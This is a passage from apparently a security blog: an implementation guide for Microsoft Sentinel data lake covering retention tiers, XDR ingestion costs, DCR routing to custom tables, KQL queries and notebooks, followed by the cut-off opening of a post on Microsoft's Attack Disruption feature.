including:\nDNS, proxy, and email telemetry All Microsoft Defender XDR and Microsoft Sentinel data sources Microsoft 365 Microsoft Entra ID Microsoft Resource Graph Endpoint Detection and Response (EDR) platforms Firewall and network logs Cloud infrastructure and workload telemetry Identity and access logs (Microsoft Entra, Okta, etc.) Below the steps to activate for example the Defender XDR data connector (in case you haven’t got it enabled yet).\nAccess XDR data connector\nNavigate to Microsoft Defender Portal → Microsoft Sentinel → Configuration → Data connectors Search for “Microsoft Defender XDR” in the connector gallery Click Open connector page Configure integration components The XDR connector configuration includes three main sections:\nConnect incidents and alerts: Enables basic integration for incident synchronization between platforms Connect entities: Integrates on-premises Active Directory user identities through Microsoft Defender for Identity Connect events: Enables collection of raw advanced hunting events from Defender components Understanding XDR data streams\nFree data streams (included with XDR integration):\nSecurityAlert: Alerts from all Defender products SecurityIncident: Unified incident management data Bi-directional synchronization: Incidents sync between Sentinel and Defender portals Paid data streams (require analytics tier ingestion):\nDeviceProcessEvents: Process execution and command-line data DeviceNetworkEvents: Network connection and communication data DeviceFileEvents: File creation, modification, and access events DeviceLogonEvents: Authentication and session data EmailEvents: Email security and communication data CloudAppEvents: Cloud application activity and security events IdentityLogonEvents: Identity provider authentication events If you’ve Sentinel setup before and transitioned to the Unified Experience (Defender portal), existing connectors continue working without interruption. However, Microsoft Defender connectors (XDR, Endpoint, Identity, Office 365, Cloud Apps, and Defender for Cloud) won’t appear in the Data connectors tab under Sentinel. They’re automatically managed as part of the unified experience. To view these connectors, access Microsoft Sentinel through the Azure portal or from Exposure Management (only the status):\nRetention configuration and management Understanding data mirroring behavior When you enable data lake, automatic mirroring begins for all tables from the onboarding point forward with these characteristics:\nForward-looking only: Historical data existing before onboarding is not mirrored Automatic mirroring: All existing connectors automatically mirror data to data lake Consistent retention initially: Data lake tier matches analytics tier retention settings Single copy architecture: Same data serves both tiers without duplication The Data lake retention model As covered earlier, Data Lake uses a two-tier model:\nTier Default retention Maximum retention Purpose Analytics tier (hot) 30 days 2 years Real-time detection, hunting, analytics Data lake tier (cold) Mirrors analytics 12 years Long-term compliance, historical analysis Key cost insight: For Sentinel solution tables, 90 days of analytics tier storage is free (you only pay ingestion). For XDR tables, only 30 days is included in the XDR license. Data lake storage beyond analytics retention incurs additional costs.\nSpecial case: XDR tables and data lake XDR tables behave fundamentally differently than regular Sentinel solution tables, particularly around costs and retention:\nUnderstanding XDR table tiers: Before they’re ingested into your Sentinel workspace, XDR tables exist in what’s called the “XDR default tier” – essentially a 30-day buffer managed by the Defender XDR service. This data is:\nIncluded in your Defender XDR license (already paid for) Available via Advanced Hunting in Defender portal View-only and doesn’t participate in the data lake architecture Not ingested into Sentinel (so no Sentinel ingestion costs) Table type Minimum analytics Can use data lake? Note Sentinel/Custom 30 days ✅ Yes Standard data lake behavior, 90 days free storage XDR (not ingested) N/A (30-day XDR default) ❌ No Must ingest first by setting retention \u0026gt; 30 days XDR (ingested) 30 days minimum ✅ Yes Now follows standard data lake model with costs Two methods for extending XDR table retention: Method 1: Standard ingestion (covered in this section)\nSet analytics retention \u0026gt; 30 days in Defender portal XDR data ingests into Sentinel Analytics tier (expensive ingestion costs) Then automatically mirrors to data lake Method 2: DCR transformation (cost-optimized)\nBypass expensive Analytics tier ingestion entirely Route XDR data directly to data lake using custom tables Massive cost savings for compliance/archival scenarios Covered in next section: “Optimizing XDR costs with DCR transformations” How to check current retention configuration Step 1: Navigate to table management Open Microsoft Defender Portal → Microsoft Sentinel → Configuration → Tables\nYou’ll see a list of all tables with their current retention settings\nStep 2: Review retention overview The table list displays key information:\nColumn Description Table name Name of the table Workspace Which Log Analytics workspace Tier Analytics, Data Lake, or XDR default Analytics retention Hot storage duration Total retention Analytics + data lake combined Step 3: Check detailed retention for a specific table Click on any table name A details panel opens on the right showing: Current tier (Analytics, data lake, or XDR default) Analytics retention period Total retention period How to change retention configuration For Sentinel and custom tables: Step 1: Navigate to Microsoft Defender Portal → Microsoft Sentinel → Configuration → Tables\nStep 2: Click on your table → Click Manage table\nStep 3: Configure retention:\nAnalytics retention: 30 days to 2 years (hot storage) Total retention: Equal to or greater than analytics, max 12 years (hot + cold) Step 4: Click Save\nExample configuration: Scenario: Need 1 year total retention for a Sentinel solution table\nConfiguration:\nAnalytics retention: 90 days (free for Sentinel tables) Total retention: 1 year (365 days) Result: 90 days in analytics + 275 days in data lake\nCost: Only data lake storage for days 91-365 (analytics storage is free)\nCost tip: You can also fully skip the analytics tier for some tables – this results in lower cost, but loses real-time analytics features like alerting, hunting queries, and analytics rules. Make sure you understand what functionality breaks before doing this:\nFor XDR tables (enabling data lake – standard method): IMPORTANT COST NOTICE: This method incurs significant Analytics tier ingestion costs. XDR tables only have 30 days included in your license (not 90 like Sentinel tables). Every day beyond 30 requires paying full Sentinel ingestion rates before data reaches the data lake. See the next section for a cost-optimized alternative via DCR.\nStep 1: Navigate to Tables → Locate XDR table showing “XDR default tier”\nExamples: DeviceEvents, EmailEvents, IdentityInfo, AlertEvidence, DeviceProcessEvents\nStep 2: Click on the XDR table → Click Manage table\nStep 3: Set analytics retention \u0026gt; 30 days\nThis triggers ingestion into Sentinel and incurs expensive ingestion costs\nCommon values: 60, 90, 180, 365 days (preferable 90 days if using standard method)\nStep 4: Set total retention (equal to or greater than analytics)\nExample: 365 days for 1-year compliance\nStep 5: Review cost warnings → Click Save\nWhat happens: Ingestion begins immediately (costs start here) Data flows: XDR → Sentinel Analytics tier (expensive) → Data lake mirror Table type changes from “XDR default” to “Microsoft Sentinel” You’re now paying for both Analytics ingestion + any data lake storage beyond analytics retention To stop ingestion: Set both Analytics and Total retention back to 30 days\nCost breakdown example for XDR tables: Scenario Analytics Total Cost structure Stay in XDR default 30 days 30 days $0 – Included in license Standard method 90 days 90 days Analytics ingestion for 90 days (expensive) Standard + compliance 90 days 1 year Analytics ingestion for 90 days + Data lake storage (days 91-365) Next section: Learn how to bypass these expensive ingestion costs using DCR transformations to send XDR data directly to data lake tier (especially handy for noisy tables).\nRecommended retention configurations Scenario Analytics Total Use case Standard operations 90 days 90 days Active security operations, no extended compliance Balanced approach 90 days 365 days Operations with 1-year compliance Extended compliance 90 days 2-7 years Regulatory requirements (GDPR, HIPAA) Cost-optimized 30 days 365 days – 7 years Minimal hot storage, extended cold storage Optimizing XDR costs with DCR transformations The cost problem As we explored in the previous section, extending XDR table retention beyond 30 days using the standard method triggers expensive Analytics tier ingestion. The warning dialog makes this clear: increasing retention moves your XDR data to Sentinel and incurs ingestion costs.\nThe impact: 1TB/day of XDR data = ~$96,000/month in ingestion costs alone. For many organizations, this makes long-term retention financially prohibitive, even when required for compliance.\nUnderstanding the optimization approach The key insight is that XDR data already exists for free in your environment – it’s included in your Defender XDR license and available via Advanced Hunting for 30 days. The problem is the expensive journey it takes when you need to keep it longer.\nStandard flow (expensive):\nXDR Advanced Hunting (30d free) → Analytics Tier Ingestion ($$$) → Data Lake Mirror Optimized flow (cost-effective):\nXDR Advanced Hunting (30d free) → Workspace DCR Transformation → Custom Data Lake Tables ($) By using Data Collection Rules (DCR) with workspace transformations, we can route XDR data directly to custom tables in the data lake tier, completely bypassing expensive Analytics tier ingestion. This is a legitimate Microsoft-supported feature that’s just not widely documented for this use case, but got inspired by Jeffrey Appel his approach for this.\nKey benefits and trade-offs Benefits:\nEliminate Analytics tier ingestion costs entirely Keep 30 days free in XDR Advanced Hunting for real-time detection Store years of data in low-cost data lake tier Perfect for compliance and historical analysis Single DCR handles multiple tables Trade-offs:\nNo real-time alerting or analytics rules on custom tables Slower queries compared to Analytics tier Requires initial setup and ongoing management Custom tables have limited feature support Critical decision: Only use this method for XDR data needed for compliance/historical purposes. If you need real-time detection beyond 30 days, keep those tables in Analytics tier. Many organizations use a hybrid approach.\nChoosing which tables to optimize Not all XDR tables are equal candidates. Base your decision on volume, analytical needs, and compliance requirements.\nXDR Table Volume Recommendation Reasoning DeviceProcessEvents Very High Optimize Highest volume, mostly needed for forensics DeviceNetworkEvents Very High Optimize High noise-to-signal ratio DeviceFileEvents High Optimize Primarily used for investigations CloudAppEvents Medium Consider Depends on detection requirements EmailEvents Medium Consider May need for phishing detection AlertEvidence Low Keep in Analytics Critical for investigations IdentityInfo Very Low Keep in Analytics Required for UEBA Optimize when:\nHigh-volume, low-value data (verbose logs) Compliance retention only Historical analysis and forensics needs Keep in Analytics when:\nReal-time alerting required UEBA or behavioral analytics needed Active detection rules depend on the data Prerequisites and tools Before implementing this optimization, you’ll need a few things in place.\n1. Marko Lauren’s Table Creator Tool The tool is essential because Azure Data Lake tables (Auxiliary tier) don’t natively support dynamic data types, which many XDR tables use. Marko’s tool solves this by automating the table creation process and handling the schema complexity.\nGitHub link\nWhat it does:\nReads source table schema from your workspace Creates matching custom table with correct structure Handles dynamic fields via Analytics tier workaround Enables seamless switching to Data Lake tier The workaround: Create tables in Analytics tier first (which supports dynamic types), then switch to Data Lake tier via the portal. This preserves the dynamic field support.\n2. Azure access requirements Contributor or Owner permissions on Log Analytics workspace Ability to deploy ARM templates Access to Azure Portal and Defender portal 3. Optimization scope decision Identify which XDR tables to optimize based on current ingestion volumes, real-time analytics requirements, compliance needs, and detection rule dependencies. Start with your highest-volume tables for maximum impact.\nImplementation guide The implementation follows three main steps: creating custom tables, configuring the DCR, and verifying data flow. Let’s walk through each one.\nStep 1: Create custom data lake tables We’ll use Marko Lauren’s tableCreator.ps1 script to automate the table creation process and avoid schema issues.\nDownload the tool Download tableCreator.ps1 from the GitHub repository:\nGitHub link\nRun the table creator The tool uses command-line parameters. Execute it via Azure CLI with your workspace details:\n# Login to Azure az login # Run the table creator script with parameters .\\tableCreator.ps1 -tableName DeviceProcessEvents -newTableName DeviceProcessEventsLake_CL -type analytics -retention 30 -totalRetention 365 Parameter explanation:\nParameter Value Description -tableName DeviceProcessEvents Existing XDR table to replicate -newTableName DeviceProcessEventsLake_CL New custom table name (must end with _CL) -type analytics Start with analytics, not datalake/auxiliary -retention 365 Total retention in days -ConvertToString (optional) Use if you get dynamic type errors -TenantId (optional) Specify if multi-tenant environment Why -type analytics first? Even though our final destination is Data Lake, we must create the table as analytics type initially to preserve dynamic field support. We’ll switch it to Data Lake tier in the next step.\nSwitch table to data lake tier Now that the table exists with the correct schema including dynamic fields, switch it to data Lake tier:\nNavigate to Microsoft Defender Portal → Microsoft Sentinel → Configuration → Tables\nLocate your custom table (DeviceProcessEventsLake_CL) Click on the table → Click Manage table Under table tier options, select data lake tier only Configure retention (e.g., 1 year for compliance) Click Save Your table is now in the Auxiliary (data lake) tier with full dynamic field support, ready to receive data.\nCreate additional tables Repeat this process for each XDR table you want to optimize:\nSource Table Custom Table Name Use Case DeviceProcessEvents DeviceProcessEventsLake_CL Process execution history DeviceNetworkEvents DeviceNetworkEventsLake_CL Network connection logs DeviceFileEvents DeviceFileEventsLake_CL File activity forensics CloudAppEvents CloudAppEventsLake_CL Cloud application activity EmailEvents EmailEventsLake_CL Email flow history Step 2: Create workspace transformation DCR Now we’ll create the Data Collection Rule that routes XDR data from original tables to your custom Data Lake tables. This is where the magic happens.\nInitial DCR creation via portal Start by creating the basic DCR structure through the Azure Portal:\nNavigate to Azure Portal → Log Analytics workspaces → Select your workspace → Tables\nLocate any source XDR table (e.g., DeviceProcessEvents) Click on the table → Click Create transformation Configure the DCR: Field Value Note DCR name dcr-sentinel-workspace-xdr-lake-routing Use descriptive name Resource group Same as workspace Keep together Region Same as workspace Performance Description Routes XDR data to Data Lake custom tables Clear purpose Click Create This creates a Workspace Transformation DCR (Kind: WorkspaceTransforms) that’s automatically associated with your workspace.\nImportant limitation: You can only have one Workspace Transformation DCR per workspace, but this single DCR can handle all your table routing.\nConfigure DCR via ARM template The portal UI only allows configuring one table at a time. To efficiently route multiple XDR tables, we’ll edit the DCR’s ARM template directly.\nNavigate to Azure Portal → Data Collection Rules → Locate your DCR\nVerify Kind shows WorkspaceTransforms in the Overview Click Export template → Deploy → Edit template Write down the name from the workspaceresourceId (under LogAnalytics): JSON { \u0026#34;type\u0026#34;: \u0026#34;Microsoft.Insights/dataCollectionRules\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;2023-03-11\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;[parameters(\u0026#39;dataCollectionRules_dcr_sentinel_workspace_xdr_lake_routing_name\u0026#39;)]\u0026#34;, \u0026#34;location\u0026#34;: \u0026#34;westeurope\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;WorkspaceTransforms\u0026#34;, \u0026#34;properties\u0026#34;: { \u0026#34;dataSources\u0026#34;: {}, \u0026#34;destinations\u0026#34;: { \u0026#34;logAnalytics\u0026#34;: [ { \u0026#34;workspaceResourceId\u0026#34;: \u0026#34;[parameters(\u0026#39;workspaces_sec_management_siemlog_prd_001_externalid\u0026#39;)]\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; } ] }, Replace the template content (dataFlows-part) with the configuration below. The template configures data flows for multiple XDR tables simultaneously: \u0026#34;dataFlows\u0026#34;: [ { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-DeviceProcessEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-DeviceProcessEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-DeviceNetworkEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-DeviceNetworkEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-DeviceFileEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-DeviceFileEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-CloudAppEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-CloudAppEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-EmailEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-EmailEventsLake_CL\u0026#34; } ] You will end up with a template like this:\nJSON{ \u0026#34;$schema\u0026#34;: \u0026#34;https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\u0026#34;, \u0026#34;contentVersion\u0026#34;: \u0026#34;1.0.0.0\u0026#34;, \u0026#34;parameters\u0026#34;: { \u0026#34;dataCollectionRules_dcr_sentinel_workspace_xdr_lake_routing_name\u0026#34;: { \u0026#34;defaultValue\u0026#34;: \u0026#34;dcr-sentinel-workspace-xdr-lake-routing\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;String\u0026#34; }, \u0026#34;workspaces_sec_management_siemlog_prd_001_externalid\u0026#34;: { \u0026#34;defaultValue\u0026#34;: \u0026#34;/subscriptions/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/resourceGroups/sec-management-siemlog-prd-001/providers/microsoft.operationalinsights/workspaces/sec-management-siemlog-prd-001\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;String\u0026#34; } }, \u0026#34;variables\u0026#34;: {}, \u0026#34;resources\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;Microsoft.Insights/dataCollectionRules\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;2023-03-11\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;[parameters(\u0026#39;dataCollectionRules_dcr_sentinel_workspace_xdr_lake_routing_name\u0026#39;)]\u0026#34;, \u0026#34;location\u0026#34;: \u0026#34;westeurope\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;WorkspaceTransforms\u0026#34;, \u0026#34;properties\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Routes XDR tables directly to Data Lake custom tables, bypassing Analytics tier ingestion costs\u0026#34;, \u0026#34;dataSources\u0026#34;: {}, \u0026#34;destinations\u0026#34;: { \u0026#34;logAnalytics\u0026#34;: [ { \u0026#34;workspaceResourceId\u0026#34;: \u0026#34;[parameters(\u0026#39;workspaces_sec_management_siemlog_prd_001_externalid\u0026#39;)]\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; } ] }, \u0026#34;dataFlows\u0026#34;: [ { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-DeviceProcessEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-DeviceProcessEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-DeviceNetworkEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-DeviceNetworkEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-DeviceFileEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-DeviceFileEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-CloudAppEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-CloudAppEventsLake_CL\u0026#34; }, { \u0026#34;streams\u0026#34;: [ \u0026#34;Microsoft-Table-EmailEvents\u0026#34; ], \u0026#34;destinations\u0026#34;: [ \u0026#34;5511c2c9b1764fed860fa62716b60686\u0026#34; ], \u0026#34;outputStream\u0026#34;: \u0026#34;Custom-EmailEventsLake_CL\u0026#34; } ] } } ] } Understanding the template:\nEach dataFlow entry routes data from a source stream to a destination table. The streams value must match Microsoft’s exact naming (e.g., Microsoft-Table-DeviceProcessEvents). The outputStream must include the Custom- prefix for custom tables. The transformKql value of \u0026quot;source\u0026quot; means no filtering – all data passes through. You can add KQL filtering here if needed (covered later).\nClick Save → Review + create → Create to deploy the DCR\nStep 3: Verify data flow After deploying the DCR, data should start flowing to your custom tables within 15-30 minutes. Let’s verify everything is working correctly.\nCheck 1: Original table status\nKQLDeviceProcessEvents | take 10 Expected: Low count or zero (data is being routed to the custom table)\nCheck 2: Custom table receiving data\nKQLDeviceProcessEventsLake_CL | take 10 Expected: Data flowing with proper schema\nMonitor cost savings Track the effectiveness of your optimization with these queries:\nVolume comparison:\nKQLlet OriginalVolume = toscalar(DeviceProcessEvents | where TimeGenerated \u0026gt; ago(24h) | count); let OptimizedVolume = toscalar(DeviceProcessEventsLake_CL | where TimeGenerated \u0026gt; ago(24h) | count); print OriginalTableEvents = OriginalVolume, DataLakeTableEvents = OptimizedVolume, RoutingSuccess = iff(OptimizedVolume \u0026gt; OriginalVolume, \u0026#34;Working\u0026#34;, \u0026#34;Check DCR\u0026#34;) Cost savings estimate KQL example:\nKQLlet DailyVolumeGB = toscalar( DeviceProcessEventsLake_CL | where TimeGenerated \u0026gt; ago(24h) | extend DataSizeBytes = estimate_data_size(*) | summarize TotalBytes = sum(DataSizeBytes) | extend GB = TotalBytes / 1024 / 1024 / 1024 | project GB ); // Updated costs for 2025 GA pricing (East US region) let AnalyticsIngestionCost = 4.30; // Per GB (updated from $3.207) let DataLakeIngestionCost = 0.05; // Per GB let DataLakeProcessingCost = 0.10; // Per GB let DataLakeStorageCost = 0.02; // Per GB per month (compressed) // Calculate monthly costs let StandardMethodCost = DailyVolumeGB * 30 * AnalyticsIngestionCost; let OptimizedMethodCost = (DailyVolumeGB * 30 * (DataLakeIngestionCost + DataLakeProcessingCost)) + (DailyVolumeGB * 30 * DataLakeStorageCost); let MonthlySavings = StandardMethodCost - OptimizedMethodCost; print DailyVolumeGB = round(DailyVolumeGB, 2), MonthlyVolumeTB = round((DailyVolumeGB * 30) / 1024, 2), StandardMethodCost = strcat(\u0026#34;$\u0026#34;, round(StandardMethodCost, 2)), OptimizedMethodCost = strcat(\u0026#34;$\u0026#34;, round(OptimizedMethodCost, 2)), EstimatedMonthlySavings = strcat(\u0026#34;$\u0026#34;, round(MonthlySavings, 2)), SavingsPercentage = strcat(round((MonthlySavings / StandardMethodCost) * 100, 1), \u0026#34;%\u0026#34;) Optional: Advanced filtering with transformKql The examples (template) above don’t use \u0026quot;transformKql\u0026quot;: \u0026quot;source\u0026quot; which routes all data without filtering. You can add KQL transformations to filter data before ingestion, providing even more cost savings.\nFiltering at the DCR level provides maximum savings because filtered data never reaches your workspace. However, ensure you’re not filtering out data needed for compliance or future investigations. When in doubt, keep everything and filter during queries instead.\nData analysis and operations Data lake exploration with KQL Accessing data lake exploration interface\nNavigation steps:\nNavigate to Microsoft Defender Portal → Microsoft Sentinel → Data lake exploration Select target workspace from dropdown menu Configure appropriate time range for analysis Begin KQL query development and execution Query capabilities and limitations Supported KQL control commands: Microsoft’s data lake documentation shows the following control commands are currently supported:\n.show version .show databases .show databases entities .show database Performance and functional limitations:\nLimitation category Specification Recommended workaround Query timeout 8 minutes maximum Use time-based filtering and sampling techniques Result size 500,000 rows or 64MB Implement summarization and aggregation Concurrent queries 45 per minute per workspace Plan and stagger query execution schedules Query scope Single workspace per query Design workspace-specific analysis approaches Sample queries and optimization Suspicious travel activity analysis:\nKQLSigninLogs | where TimeGenerated \u0026gt;= ago(180d) | where ResultType == 0 | summarize CountriesAccessed = make_set(Location) by UserPrincipalName | where array_length(CountriesAccessed) \u0026gt; 3 // Adjust threshold as needed Time-first filtering approach:\nKQL// Efficient query pattern leveraging time partitioning SecurityEvent | where TimeGenerated \u0026gt; ago(7d) // Partition elimination first | where Computer startswith \u0026#34;DC\u0026#34; // Apply specific filters second | where EventID in (4624, 4625) // Multiple conditions last | summarize count() by Computer Jupyter notebooks for security analytics Step 1: Install and configure VS Code extension\nRequired components:\nVisual Studio Code (latest version) Microsoft Sentinel extension for VS Code Python environment with appropriate packages Installation process:\nOpen Visual Studio Code Navigate to Extensions (Ctrl+Shift+X) Search for “Microsoft Sentinel” Click Install on the Microsoft Sentinel extension Microsoft Sentinel shield icon appears in left toolbar Step 2: Configure compute resources\nRuntime pool options:\nPool size Compute resources Memory Recommended use cases Cost considerations Small 4 cores 8GB Basic analytics, data exploration, development Lower cost, suitable for small datasets Medium 8 cores 16GB Standard security analytics, reporting Moderate cost, production workloads Large 16 cores 32GB ML models, complex analysis, large datasets Higher cost, resource-intensive operations Microsoft’s billing documentation shows compute hours are calculated by multiplying the number of cores with session time, affecting Advanced Data Insights billing.\nStep 3: Develop security analytics workflows\nBasic data exploration example:\nfrom sentinel_lake.providers import MicrosoftSentinelProvider import pandas as pd import matplotlib.pyplot as plt # Initialize data provider data_provider = MicrosoftSentinelProvider(spark) # Read data from custom data lake table df = data_provider.read_table(\u0026#34;DeviceNetworkEventsLake_CL\u0026#34;) df.select(\u0026#34;TimeGenerated\u0026#34;, \u0026#34;DeviceName\u0026#34;, \u0026#34;ProcessName\u0026#34;, \u0026#34;ProcessCommandLine\u0026#34;).show(10) Automated jobs and scheduling Understanding data lake jobs\nMicrosoft’s job documentation shows that jobs enable automated analysis and data promotion between tiers. Two primary job types are supported:\nKQL jobs: Query-based analytics using KQL syntax Notebook jobs: Python/Spark analytics using Jupyter notebooks Creating and managing KQL jobs\nNavigate to Microsoft Defender Portal → Microsoft Sentinel → Data lake exploration Develop and test your KQL query Click Create job button in upper right corner Job limitations during preview:\nLimitation category Specification Impact on implementation Concurrent executions 3 per tenant maximum Requires queue management and scheduling coordination Job timeout 1 hour maximum execution time Necessitates query optimization for complex operations Enabled jobs 100 per tenant maximum Requires lifecycle planning and job prioritization Performance monitoring and optimization Microsoft’s data lake exploration documentation shows search functionality within results and comprehensive query management capabilities.\nPerformance optimization guidelines:\nPerformance area Limitation Optimization strategy Query execution time 8 minutes maximum Implement time-based filtering and data sampling Result set size 500,000 rows or 64MB Use summarization and aggregation techniques Concurrent operations 45 queries per minute Plan and schedule query execution appropriately Data processing Single workspace scope Design workspace-specific analysis workflows Troubleshooting common issues Onboarding error codes\nMicrosoft’s troubleshooting documentation provides specific error codes for common onboarding issues:\nDL101: Regional mismatch error\nYAMLError: Can\u0026#39;t complete setup Description: Primary workspace region differs from tenant home region Resolution: Ensure workspace is in same region as tenant home region DL102: Resource availability error\nYAMLError: Lack of Azure resources in region Description: Insufficient Azure resources available during provisioning Resolution: Retry setup or attempt during off-peak hours DL103: Azure policy restrictions\nYAMLError: Azure policies prevent resource creation Description: Organizational policies blocking required resource creation Resolution: Create policy exemption for Microsoft.SentinelPlatformServices Data integration troubleshooting\nData not appearing in data lake:\nWait period: Refer to the sections above for estimated timeline expectations Connector verification: Verify data connector configuration and status Retention settings: Check tier configuration and retention policies Permissions: Validate managed identity permissions and role assignments Best practices and governance Security and access management:\nImplement principle of least privilege access Conduct regular access reviews and role assignments Use Unified RBAC for granular workspace-specific permissions Monitor data access through comprehensive audit logs Cost management best practices:\nUse time-based filtering for optimal partition elimination Implement appropriate sampling techniques for large datasets Monitor query patterns and associated costs regularly Balance operational needs with cost optimization objectives Additional information Official Microsoft documentation:\nMicrosoft Sentinel data lake overview Onboarding guide Pricing information Cost management Community resources:\nMicrosoft Security Blog – GA announcement Microsoft Security Blog – graph launch Microsoft Tech Community Conclusion When I first started testing with Microsoft Sentinel data lake, I’ll be honest – the pricing models and retention tiers felt overwhelming. But after implementing it across multiple environments and seeing the cost savings firsthand, I’m convinced this is one of the most significant improvements Microsoft has made to Sentinel.\nWhy this matters to me (and probably to you too):\nWe’ve all been in those budget meetings where leadership questions why security data retention costs so much. The data lake finally gives us a real answer to that problem. Being able to keep years of security logs without burning through budget means we can actually do our jobs properly – hunt for threats, investigate incidents thoroughly, and meet compliance requirements without constantly worrying about costs.\nMy honest take on implementation:\nThe standard retention configuration through the Defender portal is straightforward – you can set it up in minutes. For most Sentinel tables, it just works and the 90 days of free analytics storage is genuinely helpful. Where it gets tricky is with XDR tables. That 30-day limit catches a lot of people off guard, and suddenly you’re looking at massive ingestion bills if you’re not careful.\nWhat I’ve learned along the way:\nStart simple. Don’t try to optimize everything at once. Get comfortable with basic retention configuration first, understand your data volumes, and then decide if the advanced DCR approach makes sense for your environment. Monitor your costs closely in the first few months – you’ll quickly see which tables are driving expenses and where optimization efforts will have the biggest impact.\nAlso, don’t underestimate the value of having historical data readily available. I’ve been in too many investigations where we needed logs from 6+ months ago and they were either gone or stuck in some archived format that took hours to access. The data lake solves that problem elegantly.\nLooking ahead:\nMicrosoft Sentinel data lake is now GA, which means it’s stable and production-ready. The pricing has settled down, the features are solid, and the performance is good. I’m excited to see where Microsoft takes this – the foundation is there for some really powerful capabilities around AI-driven analysis and long-term behavioral detection. I will try to cover MCP and Graph in my next posts, also digging more in Jupyter and Notebooks soon :-).\nIf you’re still on the fence about enabling data lake, my advice is simple: just do it. The automatic mirroring from analytics to data lake costs nothing, and you’ll immediately have a safety net for your data. You can always optimize later, but at least you won’t lose historical data while you’re figuring out your strategy.\nFinal thoughts:\nSecurity operations is hard enough without having to choose between doing the right thing and staying within budget. The data lake removes that impossible choice. Yes, there’s complexity to manage. Yes, you need to understand the cost model. But the alternative – deleting security logs because you can’t afford to keep them – is far worse.\nTake the time to understand your options, configure things properly, and you’ll have a data retention strategy that actually works for both security and finance. And honestly? That’s a win we don’t get very often in this field.\n","date":"20 September 2025","externalUrl":null,"permalink":"/microsoft-sentinel-xdr-data-lake-guide/","section":"All articles","summary":"","title":"Microsoft Sentinel data lake: implementation guide","type":"posts"},{"content":" Introduction The reality of modern ransomware response Picture this: It’s 2 AM. Your on-call engineer gets an alert about suspicious activity. By the time they log in, investigate, and start containment procedures, the attackers have already pivoted through three critical servers and begun encrypting your file shares. Sound familiar?\nThis scenario plays out in organizations worldwide every week. The traditional detect-alert-investigate-respond cycle simply can’t keep pace with modern attack velocities. Human-operated ransomware groups know they have a window, typically 1-3 hours, before security teams mobilize effectively. They exploit this gap ruthlessly.\nThis is where Microsoft’s Attack Disruption fundamentally changes the game.\nAfter implementing Attack Disruption across dozens of enterprise environments over the past two years, I’ve seen firsthand how it transforms incident response from a frantic race against time into a controlled, methodical process. When configured correctly, it reduces attacker dwell time from hours to minutes, automatically containing threats while your team sleeps.\nBut here’s the catch: getting it right requires meticulous attention to detail across multiple Microsoft Defender products. One misconfiguration, one outdated agent, one missing integration point, and you’re back to manual firefighting.\nIn this guide, I’ll walk you through I ran into from my previous deployments: the configurations that work, the pitfalls to avoid, and the validation steps that ensure your Attack Disruption capability is battle-ready when you need it most.\nUnderstanding Attack Disruption’s threat coverage Attack Disruption isn’t a silver bullet. It’s a precision tool designed for specific high-impact attack patterns. Understanding exactly what it protects against helps set appropriate expectations and complementary defenses.\nPrimary attack vectors addressed The system excels at disrupting these specific attack types:\nAdversary-in-the-middle (AiTM) attacks – These sophisticated session hijacking attacks bypass MFA by stealing authentication cookies. Attack Disruption identifies the anomalous authentication patterns and immediately suspends compromised accounts. Microsoft has specifically enhanced this capability following recent FIDO 